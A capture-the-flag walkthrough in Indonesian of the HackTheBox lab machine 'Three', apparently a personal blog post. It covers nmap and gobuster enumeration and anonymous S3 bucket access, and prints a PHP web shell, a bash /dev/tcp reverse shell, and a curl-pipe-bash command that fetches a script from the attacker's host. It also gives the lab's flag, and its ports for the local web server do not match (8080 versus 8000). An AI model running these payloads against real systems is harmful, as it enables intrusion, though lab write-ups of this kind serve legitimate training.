738 words
4 minutes
HackTheBox Starting Point: Three Walkthrough

Three merupakan mesin Tier 1 dari seri starting pooint pada platform HackTheBox. Untuk menyelesaikan tantangan ini, saya menggunakan beberapa tools yaitu: Nmap, Gobuster, dan awscli

Reconnaissance#

Hal pertama yanng harus kita lakukan adalah melakukan enumerasi open port dan running service pada mesin dengan menggunakan nmap.

└─$ sudo nmap -sV -sC -p- -T4 10.129.121.19                                   
[sudo] password for w1thre: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-10 13:12 WIB
Stats: 0:03:54 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 50.75% done; ETC: 13:20 (0:03:33 remaining)
Nmap scan report for 10.129.121.19
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 17:8b:d4:25:45:2a:20:b8:79:f8:e2:58:d7:8e:79:f4 (RSA)
|   256 e6:0f:1a:f6:32:8a:40:ef:2d:a7:3b:22:d1:c7:14:fa (ECDSA)
|_  256 2d:e1:87:41:75:f3:91:54:41:16:b7:2b:80:c6:8f:05 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Toppers
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 836.42 seconds

Analyze Scan Result#

  • Port 22 menjalankan service OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
  • Port 80 menjalankan service http dengan web server Apache httpd 2.4.29 ((Ubuntu))

Checking the Website#

Kita coba check hal yang menarik dalam website ini. Terdapat domain untuk website ini yang nanti nya kita bakal tambahkan ke /etc/hosts

image.png

Disini langsung aja kita tambahkan domain tersebut ke /etc/host kita

sudo echo "10.129.121.19 thetoppers.htb" | sudo tee -a /etc/hosts

Setelah melakukan explorasi terhadap website, tidak ditemukan hal yang menarik. Maka dari itu kita akan melakukan sub domain enumeration.

Subdomain Enumeration using Gobuster#

Disini kita akan melakukan enumerasi sub domain untuk melihat apakah ada sub domain dalam website ini menggunakan tools gobuster.

└─$ gobuster vhost --append-domain -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://thetoppers.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: s3.thetoppers.htb Status: 404 [Size: 21]
Found: gc._msdcs.thetoppers.htb Status: 400 [Size: 306]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================

Terdapat subdomain s3 pada domain tersebut. Kita harus menambahkannya kembali ke /etc/hosts file kita agar website tersebut bisa diakses.

sudo echo "10.129.121.19 s3.thetoppers.htb" | sudo tee -a /etc/hosts

Ketika dicheck akan menampilkan semacam json status

{"status": "running"}

Disini subdomain s3 merupakan subdomain untuk Amazon S3 Bucket. Kita bisa menggunakan tools awscli untuk melakukan interaksi ke service s3 ini. Untuk melakukan instalasi awscli cukup ikuti langkah dibawah ini:

sudo apt install awscli

Selanjutnya lakukan konfigurasi awal seperti command dibawah ini:

└─$ aws configure          
AWS Access Key ID: test
AWS Secret Access Key: test
Default region name : test
Default output format : test

Foothold#

Untuk melakukan pengecekan isi dari S3 ini kita bisa menggunakan command berikut:

└─$ aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb --no-sign-request
                           PRE images/
2025-02-10 13:11:29          0 .htaccess
2025-02-10 13:11:29      11952 index.php
OptionsDescription
awsAWS CLI command
—endpoint=Digunakan untuk menetapkan endpoint service
s3Untuk menentukan jenis service dari aws
lsUntuk melihat isi file yang ada di S3 Bucket
s3://thetoppers.htbLokasi S3 Bucket
—no-sign-requestUntuk menjalankan perintah tanpa melakukan proses sign request

Disini kita bisa coba melakukan upload web shell yang nantinya kita bakal gunakan untuk melakukan reverse shell juga. Buat shell.php untuk web shell nya seperti berikut:

<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>

Disini saya menggunakan web shell dari revshells.com . Untuk melakukan upload web shell tersebut ke S3 Bucket kita cukup menjalankan command berikut:

└─$ aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb --no-sign-request
upload: ./shell.php to s3://thetoppers.htb/shell.php

Lalu kita bisa akses web shell tersebut pada url seperti berikut:

http://thetoppers.htb/shell.php?cmd=ls

image.png

Disini kita sudah berhasil menjalankan web shellnya. Langkah selanjutnya kita harus mendapatkan reverse shell.

Reverse Shell#

Buat file shell.sh yang nantinya akan kita gunakan untuk reverse shell.

bash -i >& /dev/tcp/10.10.14.13/1337 0>&1

*Catatan: Untuk ip disesuaikan pada ip tun0 (VPN HTB), port dapat disesuaikan dan harus sama dengan netcat nantinya

Selanjutnya jalankan netcat untuk listening port

nc -lnvp 1337

Kita harus menjalankan web server lokal dengan menggunakan python web server seperti berikut, dengan tujuan mesin akan melakukan GET request ke host kita untuk menjalankan script shell.sh yang sudah dibuat tadi:

python3 -m http.server 8080

Setelah itu jalankan web shell dengan command berikut untuk melakukan trigger terhadap reverse shell kita

http://thetoppers.htb/shell.php?cmd=curl%2010.10.14.13:8000/shell.sh|bash

Ketika berhasil kita akan mendapatkan reverse shell seperti berikut:

└─$ nc -lnvp 1337 
listening on [any] 1337 ...
connect to [10.10.14.13] from (UNKNOWN) [10.129.121.19] 51960
bash: cannot set terminal process group (1510): Inappropriate ioctl for device
bash: no job control in this shell
www-data@three:/var/www/html$

Flag#

Kita bisa mendapatkan flagnya di /var/www

www-data@three:/var/www/html$ cd .. 
cd ..
www-data@three:/var/www$ ls
ls
flag.txt
html
www-data@three:/var/www$ cat flag.txt
cat flag.txt
a980d99281a28d638ac68b9bf9453c2b

Useful Links#

https://thinkport.digital/wp-content/uploads/2023/11/AWS_Cheatsheet.pdf